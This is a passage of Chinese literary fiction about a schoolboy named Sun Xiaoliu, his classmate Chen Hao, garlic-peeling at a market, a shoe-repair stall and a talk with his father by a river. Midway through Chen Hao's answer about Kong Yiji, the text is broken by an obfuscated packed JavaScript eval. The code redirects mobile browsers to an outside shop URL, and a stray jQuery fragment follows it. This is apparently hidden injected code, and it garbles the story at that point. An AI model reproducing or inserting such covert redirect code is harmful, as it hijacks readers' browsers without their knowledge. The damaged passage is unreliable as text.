麻辣烫店的锅还咕嘟咕嘟冒着热气。
刘姨站在锅后面，用长筷子搅着汤里的串串。她看见陈浩和孙小六并排走进来，围裙上擦了一把手，笑了。
“两个一起来啦？坐坐坐，今天有刚串的牛肉丸。”
陈浩没应声，径直走到冰柜前面，拉开玻璃门拿串串。他拿得很快，像不用看似的，手伸进去，手指一勾，三四根签子就夹在指缝里了。牛肉丸、豆腐皮、土豆片、海带结、宽粉。拿到宽粉的时候他停了一下，回头看了孙小六一眼。
“你吃宽粉还是细粉？”
“宽粉。”
陈浩又拿了两串宽粉，把冰柜门关上。玻璃门合上的时候发出一声闷响，震得冰柜里的灯管闪了一下。
两个人坐在靠门口的位置。桌子是折叠桌，桌面贴着一层塑料皮，印着假的木纹。塑料皮的边角翘起来了，露出底下锈迹斑斑的铁皮。陈浩把串串放在桌上，起身去拿饮料。他拿了两瓶玻璃瓶的汽水，一瓶橙色的，一瓶绿色的，用牙齿咬开瓶盖，把橙色的那瓶推到孙小六面前。
“我不喝汽水。”
“没让你喝。让你看着。”
陈浩自己拿起那瓶绿色的，仰头灌了一大口，喉结滚动了一下。他把瓶子放下来，用手背抹了一下嘴角。
“我请你吃饭，你就得喝。这是规矩。”
孙小六拿起橙色的汽水瓶。瓶口有一圈锈迹，是瓶盖留下的。他对着瓶口喝了一小口，汽水的气泡在舌头上炸开，橙子香精的味道直冲鼻腔，甜得发苦。
麻辣烫端上来了。满满一大碗，红油浮在汤面上，麻酱搅开了，裹着每一根粉条和每一片土豆。牛肉丸沉在碗底，得用筷子去捞。孙小六捞起来一颗，咬开，里面烫出的汤汁溅在舌头上，烫得他倒吸了一口气。
陈浩吃得很慢。他把宽粉挑起来，吹了吹，塞进嘴里，嚼很久才咽下去。他吃东西的样子跟在学校食堂完全不一样。在学校食堂，他端着餐盘往角落里一坐，几口扒完就走，像吃饭是一件需要尽快解决的事。但在这里，他吃得慢，像在数碗里有多少根粉条。
“你爸是做什么的？”
陈浩忽然问。
孙小六的筷子停在半空中。
“以前做生意。”
“现在呢？”
“在家。找工作。”
陈浩把一颗牛肉丸夹起来，没吃，放在碗边。牛肉丸在碗沿上滚了半圈，停住了。
“我爸在牢里。”
他说这句话的时候，语气跟说“今天蒜八毛一斤”一模一样。不轻不重，不多不少。
“我妈跟人跑了。”
他把那颗牛肉丸夹回来，塞进嘴里，嚼了。嚼得很慢，腮帮子一动一动的。
“我奶奶眼睛快瞎了。”
他咽下去，拿起汽水瓶喝了一口。绿色的汽水把他的嘴唇染成一种浅浅的青色。
“你知道我为什么跟你说这些吗。”
孙小六摇头。
“因为你不会说‘你好可怜’。”陈浩把汽水瓶放下，瓶底磕在铁皮桌面上，发出轻轻的一声，“以前有个人，知道我家里的事以后，天天给我带早饭。每天早上一袋牛奶一个鸡蛋，放在我桌肚里。放了一个礼拜。第八天我把鸡蛋砸他脸上了。”
他笑了一下，嘴角斜斜的。
“不是他不该给我带。是他每次放的时候，都要拍拍我肩膀，用一种‘你要坚强’的眼神看我。我受不了那个。”
他把碗里的宽粉挑起来，没吹，直接塞进嘴里，烫得咧了一下嘴。
“你不一样。你第一次蹲下来剥蒜的时候，手笨得跟脚似的，剥一颗破一颗。但是你蹲下来了。你蹲下来以后，什么都没说，就剥蒜。”
陈浩把筷子放下，看着孙小六。他的眼睛不大，单眼皮，睫毛很长。日光灯在他眼睛里映出两个小小的白点。
“所以这些话我只跟你说一遍。以后不会再说了。”
他把汽水瓶里最后一口喝干，瓶底朝天扣在桌上。
“吃完了没。吃完了回去剥蒜。”
下午的菜市场比上午安静了一些。卖肉的摊主把灯关了，案板收拾干净了，人不知道去了哪里。卖鱼的也收了摊，地面用水冲过，鱼鳞被冲成一堆，堵在下水道的铁箅子前面，在午后的阳光里闪着银色的光。
干货摊位前，老太太已经回来了。她坐在马扎上，手里拿着那颗绿色的水果糖，没剥开，就那么在手指间转着。看见陈浩和孙小六走过来，她把糖放回口袋里，拍了拍身边的位置。
“蒜不多了。今天能剥完。”
三个人又蹲在一起。午后的光从铁皮棚子的缝隙里漏进来，比早晨的亮，也比早晨的暖，在地面上投下一道一道的光斑。孙小六蹲在其中一道光斑里，右脚的鞋头被光照着，那道黄色的胶痕在光里变成了金色。
剥到下午三点多，最后一座蒜山变成了一盆白白净净的蒜瓣。陈浩把盆端到摊位上过了秤，老板数了钱递给他。他把钱分出一半，递给老太太。
“奶，你拿着。”
老太太没接。
“你拿着。明天交校服钱。”
“校服钱不用交。我穿旧的就行。”
“旧的那个袖子都短了。”老太太把钱推回去，“你正在长个子，衣服短了像什么话。”
陈浩拿着钱的手停在半空中。他的手指上全是蒜汁干涸后留下的白色痕迹，指甲缝里的淡紫色被午后的光照着，像镶了一圈边。他把钱折了一下，塞进校服内侧那个他奶奶缝的口袋里。
“走吧。送你回去。”
老太太站起来，陈浩扶着她。她的手指搭在陈浩手臂上，指关节粗大，像老树的树瘤。两个人往菜市场外面走，孙小六跟在后面。走到门口的时候，老太太停下来，回过头看他。
“明天还来？”
“来。”
老太太从口袋里摸出那颗绿色的水果糖，塞到他手里。糖在她手心里攥了一下午，塑料纸被体温捂热了，软软的。
“明天给你红的。”
她转过身，被陈浩扶着，慢慢走进了午后的阳光里。
孙小六站在原地，把糖剥开塞进嘴里。苹果味的，甜得发苦。他把糖纸叠成一个小小的正方形，塞进校服口袋里。口袋里的糖纸已经攒了三张了，红的，绿的，绿的。他把它们叠在一起，边角对齐，像一小叠褪色的花瓣。
回家的路上，孙小六绕到了那个修鞋摊。
老头还在。遮阳伞收了一半，他坐在伞底下，用一把小锤子敲一只女士高跟鞋的鞋跟。敲两下，拿起来看看，再敲两下。锤子落在鞋跟上，发出笃笃笃的声音，像啄木鸟。
孙小六在他旁边的塑料桶上坐下来，把右脚的鞋脱了递过去。
“又开了？”
“没有。”
老头把鞋翻过来看了看。那道黄色的胶痕还在，粘得很牢，鞋头和鞋底之间没有再裂开。他看了看鞋，又看了看孙小六。
“没开你来找我干嘛。”
孙小六从口袋里摸出五块钱。不是上次那种皱巴巴的，是新的，刚从陈浩奶奶给的那颗糖的塑料袋里换出来的。
“我想学修鞋。”
老头拿着锤子的手停住了。他摘下老花镜，镜腿上的橡皮筋弹了一下。他用衣角擦着镜片，擦了半天，重新戴上。
“你一个学生，学修鞋干嘛。”
“有用。”
老头看着他，看了好一会儿。然后把那只女士高跟鞋放下，从铁皮箱子里翻出一把旧的小锤子，放在孙小六面前。
“你先看我修。看三天。三天以后再说学不学。”
孙小六把小锤子拿起来。锤子柄是木头的，被手磨得光滑发亮，握在手里温温的。锤头上有许多细小的凹痕，是敲过无数颗鞋钉留下的。
“行。”
“今天不用你动手。你就坐着看。”
老头拿起那只女士高跟鞋，继续敲。笃笃笃。鞋跟在他手里慢慢被钉回原位。他的手指很粗，指节上全是老茧，指甲缝里嵌着黑色的胶水痕迹。那些痕迹跟陈浩指甲缝里的蒜汁不一样，是经年累月渗进去的，洗不掉，磨不掉，长成指甲的一部分了。
孙小六坐在塑料桶上，看着老头的手。午后的阳光照在遮阳伞上，透过红色的伞面变成一种温吞的橘色，把老头的侧脸照得像一张旧照片。
笃笃笃。
巷子里有人骑着电动车经过，车铃按得叮当响。对面楼上的窗户开着，里面传出电视机的声音，一部很老的电视剧，男主角在吼，女主角在哭。更远的地方，火车汽笛声拖长了尾巴，像这座城市在叹气。
孙小六坐在那些声音里，手里握着一把旧锤子，看着一个修鞋的老头钉鞋跟。
他想，这是他来城西中学的第三周。
鞋底那道胶痕还在，没有开。
脚底那个水泡已经变成了茧。
星期一早自习，陈浩穿了一件新校服来上学。
说是新校服，其实也不是全新的。袖口的松紧带已经松了，领口的标签被剪掉了，只剩一小截白色的线头。但袖子长度刚好，肩膀的位置也合身，不像原来那件，一抬手就露出半截小臂。
他走进教室的时候，老孙头的铜铃铛刚摇过第一遍。他坐下来，把椅子往前拖了拖。椅子腿划过地面，还是那声刺耳的响。但今天那声响好像比平时轻了一点。
林宇回过头看了他一眼，又转回来，在作业本上写了几个字推给孙小六。
“他买新校服了。”
孙小六看了一眼，把作业本推回去，没有写字。
第一节课是郭老师的语文。她走进教室，目光扫过后排，在陈浩的新校服上停了一瞬。很短的一瞬，短到别人可能都没注意到。然后她翻开课本，说今天继续讲《孔乙己》。
“孔乙己是这样的使人快活，可是没有他，别人也便这么过。”
郭老师念到这里的时候，停顿了一下。教室里的日光灯嗡嗡响着，四十几个学生安静地坐着，有人在课本上画小人，有人把圆珠笔拆了装装了拆。窗外的煤渣操场上，一个班正在上体育课，跑步的脚步声远远传过来，沙沙的，像风吹过一片枯草地。
“没有他，别人也便这么过。”郭老师重复了一遍这句话，把课本放下，“你们觉得这句话是什么意思？”
没有人举手。
郭老师的目光在教室里转了一圈，最后落在后排。
“陈浩。”
陈浩站起来。新校服的领口立着，蹭着他的下巴。
“就是有没有他都一样。”
郭老师看着他，等他说下去。
“孔乙己在的时候，大家拿他开玩笑，逗乐子。他不在的时候，大家该干嘛干嘛。他不是什么重要的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510452|202973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
陈浩说完，就站在那里，没有坐下。
郭老师点了点头，正要说什么，陈浩又开口了。
“但是课文里写的是‘别人’，不是‘他’。别人觉得有没有他都一样。他自己不这么觉得。”
教室里安静了一瞬。日光灯嗡嗡响着。
“你怎么知道他怎么觉得？”郭老师问。
陈浩低下头看了看课本。他的睫毛垂着，在眼下投了一小片阴影。
“因为他每次来喝酒都穿着那件长衫。如果他自己也觉得有没有他都一样，就不会穿那件长衫了。”
他说完这句话，坐下了。椅子腿划过地面，又一声响。
郭老师站在讲台上，手里拿着课本，好一会儿没说话。然后她把课本翻到下一页，继续讲课文。但她的声音跟刚才不一样了，多了一点什么东西。
孙小六翻开语文课本，翻到《孔乙己》那一页，然后翻到封底。
小狗贴纸还在。翘着腿。
他把手伸进校服口袋里，摸到那三张叠在一起的糖纸。红的，绿的，绿的。他把糖纸拿出来，夹进了封底，就夹在小狗贴纸旁边。糖纸的边缘从课本边缘露出来一点点，彩色的，像一小截褪了色的彩虹。
放学的时候，孙小六在校门口看见了他爸的帕萨特。
车停在麻辣烫店对面，车身上又多了几道泥点。孙志远靠在车门上，手里夹着一根烟，没点。他穿着一件深蓝色的工作服，胸口印着一行白色的字：“某某物流”。工作服的袖子挽到小臂中间，露出晒成两个颜色的手臂——手腕以下是白的，手腕以上是黑的。
孙小六走过去。
“爸。”
孙志远把没点的烟从嘴里拿下来，夹到耳朵上。
“上车。”
车没往家的方向开。往西，开上了外环。九月的傍晚，外环上的车不多，夕阳从挡风玻璃照进来，把方向盘上孙志远的手照得发亮。孙小六注意到他爸的手——指甲缝里嵌着黑色的灰，不是蒜泥，是灰尘。手指上多了几道细小的伤口，有的已经结痂了，有的还是新鲜的，边缘泛着红。
“仓库管理员的活，成了。”孙志远说，没有转头，“一个月两千八。管午饭。”
他顿了顿。
“开发区那个仓库，离咱家有点远。每天得早走一个小时。”
孙小六看着车窗外。外环两边是连绵的厂房，蓝顶的，白墙的，顶上竖着各种招牌。有的灯已经亮了，在傍晚的天光里显得很淡，像没化开的墨。
“挺好的。”他说。
孙志远没有接话。他开着车，收音机里放着交通台的晚高峰路况。哪条路堵了，哪条路畅通，哪条路在修。他听得很认真，像那些路况跟他有什么关系似的。
车在一个路口等红灯的时候，孙志远忽然开口了。
“你妈说你最近放学都往菜市场跑。”
孙小六的手指蜷了一下。
“嗯。”
“去干嘛？”
“帮同学剥蒜。”
红灯还有四十秒。孙志远的手指在方向盘上敲了两下。
“你那个同学，是不是他爸——”
“是。”
孙志远没有再问了。红灯变绿，他挂挡，松离合，车子抖了一下，继续往前开。收音机里的主持人说，前方五百米拥堵，请驾驶员注意车距。
过了那个拥堵路段以后，孙志远把车靠边停了下来。不是到家了，是一片不知道叫什么名字的河边。河不宽，水是灰绿色的，上面漂着几片不知道从哪里来的树叶。河对岸是一片待拆的老房子，墙上用红漆喷着大大的“拆”字，有些已经塌了半边。
孙志远下了车，走到河边的护栏前，把耳朵上那根烟拿下来，叼在嘴里。他没点，就那么叼着，看着河面。
孙小六走到他旁边站住。
两个人并排看着那条灰绿色的河。树叶在水面上慢慢漂，从左边漂到右边，从右边漂到左边，哪儿也去不了。
“我以前觉得，让你上好学校，穿好衣服，用好东西，就是当爹的本事。”孙志远叼着没点的烟，声音含含糊糊的，“现在这些东西都没了。你妈说你脚磨出水泡了，自己拿针挑的。你那双帆布鞋开胶了，五块钱补的。”
他把烟从嘴里拿下来，在手指间转了一圈。
“那天你妈给你买的新鞋，四十五块。她回来以后在厨房站了很久。我问她怎么了，她说鞋买小了一码。”
孙志远的声音哑了一截。
“四十五块的鞋，她心疼的不是钱。是鞋买小了一码，你穿着挤脚。”
河面上的树叶漂到一处漩涡里，转了几圈，沉下去了。
孙小六站在他爸旁边，看着那片树叶沉没的地方。水面恢复了平静，灰绿色的，映着天边最后一抹橘红色的晚霞。
“爸。”
“嗯。”
“鞋不挤脚。四十二的我穿着正好。”
孙志远转过头看他。他的眼睛里布满了血丝，不知道是累的还是别的什么。他看着孙小六，看了很久，然后把那根没点的烟从手指间弹进了河里。
烟落在水面上，漂了一下，沉了。
“走。回家。你妈今天炖了排骨。”
帕萨特重新发动，掉了个头，往家的方向开。收音机里的晚高峰路况播完了，换成了一首很老很老的歌。